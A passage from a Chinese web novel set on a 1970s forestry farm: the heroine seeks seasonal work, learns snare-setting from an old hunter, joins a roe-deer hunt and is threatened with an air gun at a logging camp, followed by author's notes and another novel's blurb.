就是挣得比较少,要等东西卖完了再按记的工算钱,林场这边离山近,还经常有野兽下来祸害庄稼,秋天需要轮流看青(在庄稼完全成熟前看着别被吃了或者偷了)。
严雪的结论是,占用时间长,回报率低,跟关里农村差不了太多。
至于季节工,干得就是些苦活了,主要接林场的清林、护林等工作。比农业队挣得多,但不是一直都有活。
不过不是一直都有活,意味着剩余时间多,方便上山搞副业,真正的林场老人反而多是选的这个。
严雪想了想,还是根据自身情况,选了风险更大收益也可能更多的季节工。
她要养弟弟,农业队的收入实在有限,还不如拼一把,每年跟着黄凤英她们上山跑山。
当然这才二月底,家属队最早三月份才能有活,她主要是去报名的。
家属队队长是个四十左右的瘦削男人,姓林,大概是最近感染了风寒,从严雪进门起就一直在咳嗽。
倒是他媳妇挺年轻,三十四五岁的样子,长得也漂亮,一双眼眼尾上挑,见人先露三分笑。
听说严雪的目的,林队长披了衣服从炕上下来,自桌子抽屉里拿出个记录本。
严雪把自己的户口、结婚证给对方看过,登记了自己的信息,林队长就咳着让她回去等消息,有了活会通知她。
林队长媳妇亲自送她到门口,“原来你就是小祁媳妇儿,我就说他长那么好,得找个啥样的人来配。”
听口气倒好像认识祁放,也早知道祁放结婚了,也不知道是不是让于勇志那一闹闹的。
严雪保持着新媳妇的人设腼腆一笑,并没有多说话,谁知一抬头,竟然和正要进门的于翠云对了个正着。
于翠云也看到了她,一皱眉,不过林队长媳妇已经先笑着开了口,“什么风把你给吹来了?”
口吻除了热情,还多了点熟稔的打趣,看来两人关系不错。
于翠云也就没再看严雪,“这不你和贾师傅关系好吗?我家建军想要个旱冰鞋,我去找人借图纸,没借着,就想让你去贾师傅那看看,要是有人去他那做,就给我家建军也做一双,正好他的鞋码你也知道。”
话也不知道是说给林队长媳妇听的,还是故意要告诉严雪,她不给图纸她也能想办法弄到鞋。
林队长媳妇果然一口应下,“行,一会儿我就给你瞅瞅去,就是不知道他那儿有没有做的。”
“肯定有,咱林场又没有第二个木匠,不找他做找谁做?”
于翠云说着,又故意看了严雪一眼。
严雪一点没生气,别说东西不是她研究出来的,就算是,这年代也不保护专利,迟早会被人学去。
对方有本事就自己弄,反正那个态度找她要图纸,她是不会给的。
她脸上神色一点未变,笑着和林队长媳妇道别,就拉上了围巾,准备去贾师傅那看看自己的东西做好了没有。
东西不大,她前天就把图纸送过去了,今天应该能做完。
严雪这反应,于翠云就仿佛一拳打在了棉花上,反衬得自己像个小丑在那蹦跶,不由气结。
而且这个严雪的眼睛……
人都快走不见了,于翠云终于想了起来,“我就说怎么这么眼熟,原来是那天跟老梁搭话那个。”
“谁跟小梁搭话了?”林队长媳妇立马看了过来,问。
“就刚才那个严雪,还巴巴儿问我家老梁是不是病了,一看就不是啥好东西。”
“小梁跟她还认识?”林队长媳妇意外,“她才来林场几天?”
“谁知道,反正我一看她那样儿就恶心。她来你家干嘛?找你家林队长的……”
贾师傅家离林队长家并不远,严雪过去一问,东西还真做好了。
贾师傅做事仔细,还从里到外全用砂纸打磨了两遍,“你要是不着急用,就回去再刷上层清漆。”
又问她:“这到底是个啥玩意儿?棍子不像棍子,痒痒挠不像痒痒挠。”
“按摩用的。”严雪检查过没有问题,就按之前定好的价格给了钱。
贾师傅收了,还纳闷地多看了好几眼,“就这玩意儿按摩用的?最近怎么都弄些稀奇古怪的东西?”
严雪猜他说的应该是旱冰鞋,她已经看到贾师傅做到一半的鞋托了,估计林场很快就会多起来。
刚拿到手的按摩器她也不准备回去上什么清漆,一来没有必要,二来清漆不仅有味道对身体也不好,她直接拿着去了刘家。
她去的巧,刘老爷子刚好在家,正在院子里给狗喂食,见到她还笑了下,“来了。”
“刘爷爷。”严雪笑着和他打了招呼,“正好您在家,我给您带了个东西。”晃晃手里拿着的按摩器。
“你说这玩意儿?”刘老爷子已经知道了她给刘春彩送旱冰鞋的事,背着手过来瞅了瞅。
“是个按摩器。”严雪催着他进屋,“您试试,保管按了舒服,不舒服您找我赔。”
“你这不是要卖给我吧?还找你赔。”
老爷子虎着脸问了句,还是被她催进去,坐在了炕沿边。
严雪找贾师傅做这东西还真不复杂,就是个海豚形状的按摩器。只是做不出震动的效果,只在中间安了滚珠。
老爷子被她拿着滚了几下,立马觉出不同,自己接过去接着滚。
黄凤英在一边看着,“小严这东西好,爸你不总说肩膀后面疼吗?自己够不着,别人要给你按你还不让,这不就按着了。”
刘老爷子虎着脸不说话,好一会儿,“衣服有点厚了。”
“厚了你晚上回屋脱了棉衣按。”黄凤英笑起来,又问严雪:“这也是你以前见过的?”
严雪当然只能说是,“我也是看刘爷爷总捶肩,尤其是背木仓那一边,想着以前见人用过,找贾师傅做个试试。”
又笑道:“你们也别跟我客气,您家可没少帮我们忙,还分了我们不少猎物。”
“你那不是也给钱了,说得好像白拿了似的。”黄凤英笑着嗔她,“说到底还是你愿意想着我们。”
刘老爷子一直没插话,等两人说完了,突然问严雪:“过两天下了雪,我还上山下套子,你想不想去?”
“我吗?”严雪脸上毫不掩饰露出惊讶。
就连黄凤英也有些意外,林场不是没人看上老爷子这门手艺,带着礼物过来想学,老爷子全都没答应,竟然会主动提出带上严雪。
刘老爷子看中的却就是严雪这份惊讶,至少她就只是想到这什么按摩器适合他用,而不是有其他目的。
老爷子按着肩,看了严雪一眼,“上回去山上炸松塔,你不是问了我不少打猎的事儿?”
严雪的确问了,一来老爷子当时就背着木仓,她着实有些好奇;二来林场一切能赚钱的方式她都想打听打听,万一就有她能用的呢。
老爷子放下按摩器,“要去就回去准备东西,定好了我叫你。”
这可真是意外之喜,本来家属队没活,严雪就没什么事干,上山学学下套子,就算不能拿来换钱,以后至少能打打牙祭。
她回去按照刘老爷子的要求准备了细铁丝和细绳,再就是水壶、干粮和上次炸松塔那套装备。
老爷子耐着性子等了几天,等林场下过一场薄雪,才通知严雪出发,同行的还有帮老爷子背着工具的黄凤英,“几个小的都上学去了,我让他们中午自己带饭,也跟着出来给爸打个下手。”
所谓下套子,其实就是在猎物时常经过的地方设陷阱,以各种绳套、铁丝套为主。
俗话说:“兔子转山坡,转来转去回老窝。”指的是野生动物的一种习性,即觉得哪条路安全,就会一直走哪条路。
动物常走的这条路上自然会留下痕迹,尤其是冬天刚下过雪的时候,有经验的猎人一看就知道是什么动物留下的,多久之前留下的。
要是夏天就麻烦许多,主要看的不是脚印,而是地上的粪便,草木上的齿痕,还有哪里的草是被踩趴下的或是被撑开的。
进山没多久,老爷子就发现了野兔子的踪迹,叫黄凤英:“铁丝。”
黄凤英赶忙从包里翻出来,递过去。
老爷子接过去,一面借助附近的树枝将铁丝绕成圈,做成个猪蹄子扣,放在兔子道的正中间,一面给严雪讲要怎么分辨兔子的脚印。
这里面还有挺多学问的,主要是得根据脚印的大小判断兔子的体型,从而确定套子的高度和大小。
大了容易套在肚子上,小了连头都钻不进去,太高或者太低,套子都起不到作用。
严雪一路听一路跟着学,路上发现疑似动物的脚印,还试着也做了两个套。
脚印判断得对不对不知道,反正套子做得像模像样,刘老爷子背着手在旁边看着,只略略做了点拨,就点点头,“还行。”
“就是说你干得好。”黄凤英在旁边给自家公爹翻译,“当初我刚跟着老爷子上山的时候,老爷子可没说过我还行。”
最后兔子套野鸡套做了不少,老爷子还找到几个狍子的脚印,利用树枝和绳索做了个吊脚套。
这种套主要是用来套狍子和鹿这类大一点的动物,树枝必须足够有弹性,用绳子绑上活套,一旦动物触动机关,就会利用弹性将动物套住蹄子吊起来。
为了做这个,老爷子还特地扒了扒雪,从里面找了些狍子爱吃的地衣铺在绳套上面做诱饵。
然后就等第二天遛套子了,一行人打道回府,严雪做事细心,还把学到的几种套子画在了本子上。
结果第二天上山,老爷子还专门带了狗,防止有野兽觊觎陷阱里的猎物,第一个套子他们就扑了个空,套中的猎物已经被野兽吃了。
再去看第二个,同样只剩下些残骸,一连三四个都是如此。
老爷子都被气笑了,“这是专门盯着我捡漏呢?”
其实陷阱里的猎物被野兽吃了是常有的事,关键老爷子第一次带严雪上山溜套子就碰到,着实有点打他的脸了。
严雪倒不是特别在意结果,“至少您都套中了不是?我看这几个套子离得挺远,说不定不是一只野兽干的。”
她这心态倒是好,刘老爷子瞧她一眼,“去看看你那几个。”
严雪那几个就有点收获惨淡了,一共两个兔子套,一个野鸡套,一个都没套中。
她也不着恼,还笑着对刘老爷子说:“就说还是您技术好吧。”
“我干多少年了?”刘老爷子指了最后一个兔子套,“这个我看没问题,明天再过来看看。”
套子下下去,也不都是立马就会有收获的,严雪点点头。
刘老爷子牵了狗,“今天就先这么地吧,说的带你来下套子,结果掉链子了。”
人都走出去了,才发现严雪还站在原地没动,甚至又往回走了几步。
“刘爷爷,”严雪盯着那个兔子套附近一小片痕迹,“您看这像不像狍子的脚印?”
怕自己记不准,她还从包里拿出本子比对了下,“的确和牛蹄子一样中间有分叉,但是比牛蹄子小。”这还是老爷子昨天做吊脚套时教的。
像狍子、鹿这种食草动物,基本都是硬蹄,不像食肉动物需要捕猎爪下全是肉垫。
老爷子一开始并没太在意,过来看了一眼,却紧接着便蹲下了,“好像是,恐怕还不止一只。”
“碰上狍子群了?”黄凤英也凑过来看,“我记得昨天还没有吧?”
严雪仔细回想了下,“我也没记得昨天看到过。”
“那可能是新踩的,”刘老爷子仔细辨认过,瞧了瞧脚印消失的方向,“追上去看看,说不定还没走远。”
或许是坏运气都在之前用完了,这一追,还真让他们追到了东西。
一群形似鹿又比鹿更小的动物出现在他们视野里,大概七八只,草黄色的皮毛,短尾,尾巴上有一撮白毛,正拿蹄子刨着雪地,在雪地下找东西吃。
“是狍子群。”黄凤英压低声音说,“狍子都是一只公的带着两三只母的和几只小的一起活动。”
又走进一些,刘老爷子抬抬手,黄凤英和严雪就站住不动了,只有他悄声靠近,一面寻找角度端木仓,一面撒开了狗绳。
随着一声木仓响,两只早已蓄势待发的猎狗也冲了出去,狠狠扑咬住猎物。剩余的狍子受到惊吓,尾巴上的白毛一炸,撒开蹄子便跑,雪地上速度快得不可思议,一转眼就窜出了几十米远。
“这么快?”严雪着实被惊讶到了。
“狍子外号雪上飞呢。”黄凤英说,“这东西特能跑,还专门挑那有冰或者滑的地方。”
“那岂不是很难追上?”
“也不一定,你自己看着吧。”
黄凤英话音刚落,前面健步如飞的狍子群突然停了,站在原地开始回头张望。
“这就不跑了?”严雪估计了下,也就才跑出一里多地,怎么也不能算安全。
结果那群狍子不仅不继续向前,还开始往回跑了……
严雪整个人一个大无语,“这群狍子不怕死吗?怎么还往回跑?”
“要不怎么能叫傻狍子?”黄凤英说,“这东西好奇心贼重,非得回头看看到底是咋回事不可。”
刘老爷子没说话,提木仓也往那边追,不多久又开/木仓打倒一只。
这回狍子总算知道往远里跑了,一口气跑成了视线里几个飞窜的小黑点。
“行了,追不上了。”刘老爷子放下了手里的木仓。
又接着黄凤英之前的话说:“这是今天咱们牵了狗,不然你打中一只,它们有时候都不跑,先围在那看情况。”
“那这东西一定挺能生的,不然早被人打光了。”严雪如是评价。
黄凤英听得“噗”一下笑出声,去包里翻刀,“行了,既然打不着了,先把这几只处理了。”
见严雪疑惑望来,她解释,“冬天山里气温低,猎物表面一会儿就冻上了,里面的内脏要不处理,容易闷膛,把肉闷臭了。”
严雪一听,赶忙也过去帮忙。一共四只狍子,一公两母一小,内脏全拿出来先喂猎狗。
猎狗不吃的,则挂在树上,算是给山神爷的祭品。
再怎么破四旧,山区人民靠山吃山,还是有很多讲究的,尊敬山神爷就是头一等大事。
像山里伐木剩下的木桩,那是山神爷的供桌,不能坐,只能坐倒下来的木头或石头,头一次进山刘春彩就跟严雪说过。
如果要进山采参,那规矩更多,严雪上辈子卖山货的时候就有所耳闻。
内脏处理完,膛内塞上雪,很快温度就降下来了,几人也在旁边抓雪洗起了手。
东北冬天冷,很多时候山区取水困难,随处可见的白雪就成了最方便的水源。
家里要拖地,不用洗拖把,铲一铁锹雪到地上,扫帚一扫什么灰都没有了。
家里要做饭水不够,不用打,雪装进锅里一加热,白菜冻豆腐丢进去,很快就能出锅。
以前老一辈人上山,为图省事甚至直接抓雪进嘴里当水喝,以至于上了年纪后,很多人牙都不好。刘老爷子算是讲究的,上山都带着那种铝制的水壶,坐下来歇息的时候会聚个火堆,把雪烧开了再喝。
多亏了这群傻狍子,严雪他们这次进山总算没空手而归。
公的那只去了内脏,剩下能有五六十斤,母的稍小,就连那只小的也能有个三十来斤。以这年代逢年过节每人才能有一斤肉的供应,足够全家过上好一阵子滋润的生活了。
黄凤英直接给了严雪一只母的,“你家人口少,大娘就不给你多分了。”
不等严雪说什么,已经开始嘱咐,“这东西有寄生虫,在皮下,扒了皮你可得弄干净。”
瞅瞅严雪那娇小的身形水量的眼睛,“算了,回去我一块儿给你弄了。”
“大娘我没那么胆小。”严雪哭笑不得。
不过话都说到这个份儿上了,她也没再拒绝,跟着两人先回了刘家。
“我明天准备上趟山,给卫国和他爸送点肉吃,你去不去?”路上黄凤英问严雪。
严雪这才想起来自己还有个老公,“行啊,您准备什么时候走?”
要不是祁放,她也不会嫁到这林场来,总不能人家在山上辛苦挣生活费,她在山下自己吃香喝辣吧?
当天回去,严雪先将狍子肉送了几斤给隔壁郭大娘,感谢对方在自己结婚时的帮忙。
剩下的她先给自己做了个小炒肉,用干辣椒呛的锅,切肉的时候就发现,这狍子肉可比野猪肉细嫩多了。
吃起来也的确比野猪肉好吃,有点像鹿肉的口感,主要以瘦肉为主。严雪开了门散辣椒味的时候,还听到隔壁郭家小孙子小小的欢呼。
第二天送给祁放的她则做了两样,一样薄片快炒,一样红烧小排。
排骨她用了整整半扇,把铝制饭盒塞得满满当当,然后带着去刘家,和黄凤英一起蹭上山送东西的内燃机。
内燃机的车厢又比小火车小很多,里面座位也少,放的全是林场集体采购的东西,还有从大地窖那边刚起出来的萝卜、白菜、土豆。
山上好几百口人吃饭,每天光消耗的粮食蔬菜就是一个大数字。
到了山上营地,管后勤的人过来卸东西,黄凤英和严雪下了车,朝传来机械工作声响的作业区而去。
“咱们这么过去是不是不太好?”严雪提醒黄凤英,“上次我来被于场长训了。”
“他这又是抽哪门子的风?”黄凤英无语。
想想祁放和严雪到底是外地过来的小年轻,在林场没根基,她又道:“那你在这儿等我,我去问问他们啥时候停下吃饭。”
怕严雪担心还补充:“没事儿,我到那喊一声就行,不用走近了。”
严雪这才没再说什么,在营地外找了个避风的地方等着。
比起上次她来,山上的树又少了许多,远远一看光秃秃的。
也不知道这次伐完,要多少年才能恢复元气。好像从2000年起,长白山区和大小兴安岭就不再采伐了。
严雪想着,没防备突然有人一声低喝——
“别动!你身后有黑瞎子!”——
祁放:吃上狍子肉是不是也能算吃上肉了?那我比陈寄北快,也比季铎快。
陈寄北:呵呵。
季铎:呵呵。
明天要上夹子了,更新从凌晨挪到晚上,下夹子恢复每天晚六点更新。
还有抽奖已经设置好啦~全订的小天使们记得注意站短哦~~
另,售卖、饲养和实用野生动物都是不正确的行为,本文特殊年代特殊对待,作者并不提倡。
下面我贴个预收,感兴趣的小天使们可以去康康。
《九零商业联姻》
文案:
顾蕊一觉醒来,穿回了经济迅速腾飞也面对转型的九十年代。
大哥接了她爸的班,大姐接了她妈的班,只有她没考上大学,前途堪忧。
想想厂子不景气的效益,和大闺女大儿子拖欠的工资,在托人给她找工作和给她找对象之间,她爸选择了后者。
男方是个煤老板的儿子,是煤老板下乡时和当地姑娘生的,也是……
顾蕊上辈子的老板。
想想鲶鱼五十仍儒雅不减的首富老板,再想想公司关于自己这个老板前相亲对象的传言——
有眼无珠没看上老板,自己找了个对象,还为供对方读书南下打工,没了音信……
顾蕊在去不去相亲之间,果断选择了提前三十年前去求职。
然而相亲那天,坐在她对面的男青年却一身吊儿郎当,嘴角还有打架留下的乌青。
“我这人别的不行,就那方面行,需求特别旺盛,要不你先让我试试?”
顾蕊愣了足足三秒,“行啊,小树林还是苞米地?”
对方落荒而逃。
*
裴争刚被接近城,他爸新娶那小后妈就给他介绍了个对象。
女方没学历,没工作,只有一张脸,据说长得和他后妈一样好看。
他心里厌烦,又不得不去,于是故意调戏了对方……
后来数年,每每裴争苦追老婆不得,又在商场上被老婆占到先机,都想穿回去问一下当初的自己:
“裴争你是不是傻?是不是?你就不能控制住你那张嘴别贱!”
吃肉
==============
乍一听到有黑瞎子,严雪着实被吓了一跳。
黑瞎子就是黑熊,林区危险性极强的一种动物,刘老爷子脸上那片疤和少掉的半个耳朵,就是当初拜黑瞎子所赐。
她脑内飞快转过在野外遭遇黑熊应该怎么自救,可随即又觉得不太对劲。
首先长白山区冬季气温低,黑瞎子是要冬眠的,俗称“蹲仓”,要到春季来临万物生发的时候才会出仓。
现在刚刚三月初,温度还达不到零度,按理说黑瞎子不应该这么早出来才对。
其次人怕熊,熊就未必不怕人,作业区机械多,声响大,野生动物基本都会选择绕道走。
所以林场人跑山,为避免危险,多数会选在作业区附近的林子,就是为着这个原因。
她现在所处已经不是作业区附近那么简单了,是林场在山上的营地,黑瞎子除非是饿疯了,怎么会出现在全是人类活动的地方?
严雪只是身体微不可察地一绷,就迅速冷静下来,转身朝声音的来处望去,没有惊慌失措,更没有失声尖叫。
这让来人十分诧异,朝她端了端木仓,“说你呢,没听见吗?你背后有黑瞎子。”
看他这架势,尤其是看他那张脸,严雪就更肯定自己猜的没错了。
因为这人她见过,结婚那天喝上酒过来闹事的于勇志。
于勇志今天倒没喝多,但还是一点都不靠谱,正是上班的时间,他竟然拿个枪在这边晃。
严雪皱眉看了对方一眼,没说什么。
可于勇志还是认出了她,原本带着点玩味的脸色瞬间不好,“你是不是姓祁那小子娶那小媳妇儿?”
他还以为是哪个职工的家属,随便过来吓一吓,没想到竟然是严雪。
他到现在还记得那天自己回去吐成什么样,第二天又头疼成什么样。这娘们儿绝对是知道自己能喝,故意搁那儿灌他呢
于勇志枪口一移,竟然对准了严雪,“你胆子不小啊?听说有黑瞎子也不躲,不怕死?”
这回严雪是真感到了不快,“现在是上班时间吧,你不去上班吗?”
话意是提醒对方,却没想于勇志比她想的还混,“老子去不去上班,关你屁事!”
不仅一点没收敛,还作势要给枪拉栓上膛,“我可告诉你,我要开/木仓打黑瞎子了,你再不躲,打着你我可不管。”
竟然威胁严雪要朝严雪开/木仓。
严雪眼神一凉,正要说什么,有人比她动作更快,已经一把按住了于勇志握枪的手。
“你第一天摸枪,没人告诉你枪口不能对准人吗?”
祁放不知何时站在了于勇志身边,声冷眼神更冷,于勇志使劲挣了几下,那枪就像被什么巨物压住了,竟然没能撼动半分。
这让于勇志心头火起,“你他妈放手!信不信老子一枪崩了你!”
“用这个打鸟的气/木仓?”祁放不屑一瞥。
气/木仓是用空气作为推动的,威力有限,远赶不上火/药/木仓,的确只能拿来打个鸟。
于勇志一下子被戳到痛处,声儿都拔高了,“气/木仓咋了?气/木仓照样能干死你!老子家有的是猎/木仓,老子没稀得拿!”
“气/木仓也没有对自己人开的,除非你不是自己人,是敌特。”
祁放掀起眼,极具压迫感的眼神直刺向于勇志。
他这人性子冷淡,话又少,时常给人一种没怎么有精神的感觉,于勇志从没把他放在眼里,何曾见他这么锋芒毕露。
何况他提及了敌特,谁不知道前些年反特运动搞得有多大,到现在小孩子玩的打/木仓游戏还是抓特务。
于勇志竟然下意识退后了半步,退完才察觉自己气势弱了,又瞪眼强顶上来,“少他妈乱给我扣帽子!”
“那难道是你没喝过个娘们儿,不甘心,所以想拿开/木仓吓唬人?”
这回开口的是严雪,她已经走了过来,就那么挑着眉似笑非笑看他,“于哥你这么输不起,于场长知道吗?”
一面是敌特,一面是输给个娘们儿还输不起,于勇志一时被噎在了那。
而且严雪把于场长一搬出来,于勇志有些发热的脑子总算清醒了一点。他今天没喝酒,不至于混到天王老子来了都不怵。
见此祁放一使巧劲,直接从他手里夺过气/木仓,拆出里面作为子弹的钢珠倒在了地上。
倒完把枪往于勇志怀里一丢,一眼再未看他,“走吧。”
这句显然是对严雪说的,言语间还有未散的寒气。
严雪本来想说什么,看看他不太好的脸色,又暂时把话咽了下去。
祁放这么情绪外露,严雪也是第一次见,还是为她出头,有些事晚说一会儿也不打紧。
两人才走出没多远,身后就传来“啪”一声,像是于勇志把枪摔在了地上,还踹了一脚,“妈的装什么装?他连个气/木仓都还没有呢。”
祁放连眼皮都没有动一下,倒是严雪忍不住问了句:“他怎么又想起来玩枪了?”
“想转去保卫科。”祁放声音很淡。
严雪一想就明白了,于勇志喝酒误事,被上面的领导撞见,待遇好点的油锯手、拖拉机手以后都不能干了。
采伐队剩下挣钱多的,就只剩抬大木头的苦活,还得是抬头杠。
头杠在最前面,不仅要负责看路,还得喊号子指挥众人什么时候抬,什么时候放,是个既需要经验又需要稳得住的活儿。稍微有点失误,一根木头上千斤重,抬杠的人很容易便会受伤。
他这人既稳不住,又吃不了那个苦,与其在山上耗着,还不如转去保卫科,时间上更自由,还方便搞外快。
或者更该说是方便他喝酒,嗜酒如命的人通常很难改掉这个毛病,哪怕喝出病了躺在床上,命不要了也得继续喝。
严雪没再提于勇志,不过脚步也停了下来。
见祁放望来,她一笑,“其实今天我是和刘大娘一起上来的,她去问你们什么时候停下吃饭了。”
祁放立马反应过来,“你在这等人?”
“嗯,我跟着刘爷爷上山打了几只狍子,和刘大娘来给你们送饭。”
“你跟着刘爷爷上山打猎了?”祁放再次一顿。
“也不算打猎,就是上山去下了几个套子,溜套子的时候刚好碰到了狍子群。”
严雪说得轻巧,祁放依旧抬眸多看了她一眼。
上次他几天不在,她不仅过得如鱼得水,还赚到了第一桶金,这回更好,直接上山下套子去了……
他以前怎么不知道她这么野?
还是她适应能力太强,入乡随俗了,又或者原本就被燕京那个繁华精致的壳子所束缚?
这时黄凤英赶了回来,没看到严雪人,还纳闷地张望了一下。
“刘大娘!”严雪赶忙朝她招招手。
黄凤英这才快步过来,“我问过了,他们最少还得半个来小时。”
又看到旁边的祁放,“小祁也在这啊。”
“胡师傅油锯坏了,我去拿个弯把子锯。”祁放解释了自己在这里的原因。
弯把子锯就是以前的手锯,纯手动的。以前林场没有油锯的时候,就是靠它来伐木头。
“那你快去吧,别耽误了事儿。”黄凤英赶他。
他却没急着走,而是摘下手套,从里侧衣服口袋摸出一串钥匙给严雪,“你跟大娘去我宿舍等。”
再一次来到祁放所住的地窨子,严雪心境已经跟上次有所不同,甚至一眼就能认出哪些东西是属于祁放的。
黄凤英对这里比她更熟,几下就翻出了刘卫国和刘大牛团成一团的脏衣服,又去拿了盆,“你在这坐着,我去帮他们爷俩把衣服洗了。”
说着还皱眉,“这才上山几天,裤子都能打铁了。”
“我也跟您一块儿去。”严雪这才想起来自己说好了家务全包的,去找祁放的脏衣服。
结果翻了半天,她愣是没看出来哪件衣服是脏的。
不仅不脏,东西还叠得特别整齐,黄凤英看了直笑,“我刚就想说你不用洗,小祁自己早洗好了。他呀,以前在我家住时就这样,不管活多累,多晚下班,澡一定得洗,衣服一定得洗,我都怀疑他晚上睡不睡觉。”
严雪跟着想了一下,“他好像是每天睡很晚,又很早就起来。”
“是吧?这是现在天短,夏天天长的时候我早上刚起来,他水缸都给挑满了。”
林场没有自来水,吃水都是去附近的河里打,要挑满一缸还真需要不少时间。
严雪算了一下,“他一天能睡满六个小时吗?”
“你问我,我问谁去?我又不跟他一个被窝。”
黄凤英开了一句玩笑,车飙得太突然严雪还有点没反应过来。
第 21-22 章
前天就开始通知了,可直到今天,严雪都还不知道这件事。
不过她也不是一天二十四小时在家,确定自己没听错后就回去问了问隔壁郭大娘,这几天有没有人过来找她。
倒不是觉得郭大娘会故意隐瞒,主要是防着个万一,万一郭大娘年纪大了,不小心给忘了呢。
结果并没有万一,这几天就没人来找过她。
第二天,依旧没人来找她,林场的通勤车却开始往山上运人了。
严雪不动声色,等到晚上通勤车回来,确定车上多是些女人,偶尔有几个男的也是非常年轻的面孔,像是这两年上山来的知青,才寻机往林队长家里去。
林场的知青也属于临时工,目前挂在家属队,跟家属队一样分农业队和季节工。
还没走到林队长家门口,严雪就听到了林队长的咳嗽声,这都十多天了,他的咳嗽居然还没好。
严雪敲了敲门,出来应声的是林队长媳妇,大概也是才回来,两手袖子都挽起来了,在准备做饭。
她一出来就对严雪歉意道:“我家老林这病又厉害了,刚吃了药,有啥事儿你就在这说吧。”
门打开的瞬间的确飘出来一股药味儿,林队长媳妇身上也有,严雪顿了顿,“林队长不要紧吧?我能进去看看他吗?”
“老毛病了,以前上山采伐受过伤,留下的病根,冬天一冷就开始犯。”
林队长媳妇苦笑,“不然他这个岁数,咋能这么瘦?还转到了家属队,他这样也没法儿说话,你还是跟我说吧。”
严雪看看她,又看看里屋,没再坚持,“那也行,我就是看其他家属工都开始上山了,过来问问我怎么没收到通知。”
“这个……”林队长媳妇犹豫,很是为难的样子。
“是通知的时候把我漏了吗?”严雪问,一双眼睛清凌凌的,能清楚看到人的倒影。
林队长媳妇叹了口气,“也不是,主要你报名太晚了,家属队暂时用不上这么些人,就没通知你。”
这回严雪垂下了眸,半晌没说话,似乎很是失望。
林队长媳妇只好安慰她,“也不是一直都用不上,说不定过两天就有活了呢,到时候一定通知你,你先别着急。”
又柔声道:“实在不行,不是还有农业队吗?下个月农业队也要开始有活了。”
“真不用人了吗?”严雪还是不死心地确认。
林队长媳妇点头,“要是缺人,早就通知你了,你不都在老林那登记了吗?”
“那行吧。”严雪很勉强地笑笑,不太高兴地走了。
林队长媳妇目送着她走远,才关上门回屋。没发现严雪一转过身,脸上那点不高兴就变成了平静。
就是太平静了,隔壁郭大娘见她回来,仔细看了半天她的脸色,也没看出什么来,“咋样了?”
自从严雪来找她问过,她就上了心,通勤车这事还是她早上看到跟严雪说的。
严雪笑了笑,“林队长媳妇说现在用不了那么多人,所以没通知我,让我继续等消息。”
“那也有可能,你别着急,不行不是还有农业队吗?”
郭大娘也安慰了严雪几句,严雪笑听着,一回屋,却带上之前做的肉干去了刘家。
刘家几个小的正在炕边写作业,确切点说只有刘家二女儿刘春妮在写作业。
刘春彩正在旁边指导她,“答案是15,肯定是15,你听我的。”
刘春妮咬着铅笔皱着眉,小小声,“可我觉得是1.5。”
“我都上初中了,小学数学题还能算错?15,你赶紧写上,咱们好出去玩。”刘春彩坚持。
刘家小儿子刘卫斌已经穿上了新做的旱冰鞋,就在屋里来回滑,“对啊二姐你赶紧写,我们都搁这儿等你半天了。”
刘春妮还是觉得不对,铅笔顶端包橡皮的马口铁都快让她咬变形了。
“妈叫你不许咬铅笔,埋汰!”刘春彩提醒她。
刘春妮赶忙放开,但这孩子跟其他兄弟姐妹性子不一样,腼腆、内向,还固执,她觉得不对的,别人说什么都不肯写。
最后她只能看向刚进门的严雪,“严雪姐,这道题你会不会算?”
“我看看。”严雪接过来,稍微一心算就得出了答案,“1.5。”
“怎么能是1.5?”刘春彩不信。
严雪没说话,拿过刘春妮的演算纸把计算过程写了下来,清晰明了,的确是1.5。
这回刘春彩有点挠头了,刘春妮倒是彻底放心,把这最后一道题的答案写在了作业本上。
刘卫斌个墙头草,立马又反过来说自己大姐,“姐你不是上初中了吗?咋连小学数学题都不会做?”
刘春彩可不是刘春妮那性子,一眼瞪过去,“我不会做咋啦?又不考状元,将来还不都一样上山下乡?”
这就是这年代的普遍思想,学习好与赖,都得上山下乡,还费那个事干嘛?
别说高考已经停了好几年,就算没停,林场多是大老粗,也没几个人知道还能上大学,读个高中下来都很不错了。
严雪没法跟他们说太多,只问刘春彩:“不学习,你出去买东西卖东西会算账啊?”
“那不学点简单的就够了?”刘春彩还是嘟囔。
“可是想做会计,就要多学点了,做医生、做护士还有镇机修厂那些工程师,哪个不是学出来的?”
见小姑娘不说话了,严雪还玩了个梗,“不读书不多长点见识,小心老了有人卖你保健品。”
“保健品是啥?”刘春彩显然是第一次听到这个名词。
严雪眯了眼睛笑,“就是保养身体的东西。”
“比如说人参?”
“对,万一有人忽悠你,把党参当成人参卖给你怎么办?”
“我又不是不认识人参。”刘春彩撇嘴。
结果旁边一直抻着头听的刘卫斌突然来了一句:“党参和人参不都是参吗?”
手机和母鸡还都是ji呢,这个现在就可以卖给他保健品了。
只有刘春妮一直没插话,却听得最认真,把笔和本子都仔细收拾好装进了书包。
“你们先别走,”严雪把自己带来那包肉干打开,“我给你们带了点好吃的,吃完再出去玩。”
一见有好吃的,几个小的自然兴奋,黄凤英却忍不住说严雪:“你这不会是拿狍子肉做的吧?一共才多少你还往这送?”
“我这不是才研究出来,想显摆显摆吗?下次我就不送了,告诉您方法您自己做去。”
严雪眨了眨眼,看得黄凤英说她也不是,不说她也不是。
不过东西是真好吃,几个孩子都表示很喜欢,黄凤英也就问了问,准备下次也做个试试。
等几个小的叼着肉干都出去玩了,严雪才正了神色,“大娘我有件事想求您。”
“有啥事儿你尽管说,什么求不求的。”
“您能不能帮我打听下今年家属队季节工都招了多少人,有没有谁是报了名没招上的?家属队现在人够不够用?”
严雪很怀疑自己之所以没收到通知,根本不是如林队长媳妇所说,家属队招够人了,而是另有原因。
但她没有证据,现在也不好随便下定论,只好托黄凤英帮着打听一下。
黄凤英一口应下,“行,明天我就给你回信儿。”见她没有多说,甚至都没多问。
第二天临近中午,黄凤英才来家里找她,进门连口水都没喝,“我问过了,今年家属队没有没招上的,还缺人。主要咱们林场今年超额完成任务,木头伐得多,这清林的活儿自然也多,没见今年家属队上山都提前了,因为提前,还有几个没能赶回来的。”
没能赶回来的严雪就知道俩,一个那天碰到的阿姨的儿媳妇,一个隔壁郭长平媳妇。
只不过不知道是知道郭长平媳妇在医院,暂时回不来,还是沾了她的光,郭家那边也没收到通知。
黄凤英一口气把自己知道的都说完,才问严雪:“你那家属工出岔子了?”
“嗯。”严雪无奈点头,将自己是怎么没收到通知,林队长媳妇又是怎么说的讲了一遍。
黄凤英一下子站起身,“这不调理人呢吗?我找她说说去!”
“您先别急。”严雪拉住她胳膊,又把她拽了回来,“这事儿还不知道林队长知不知道,万一就是林队长的主意,咱们就算去找了,估计也没什么用。”
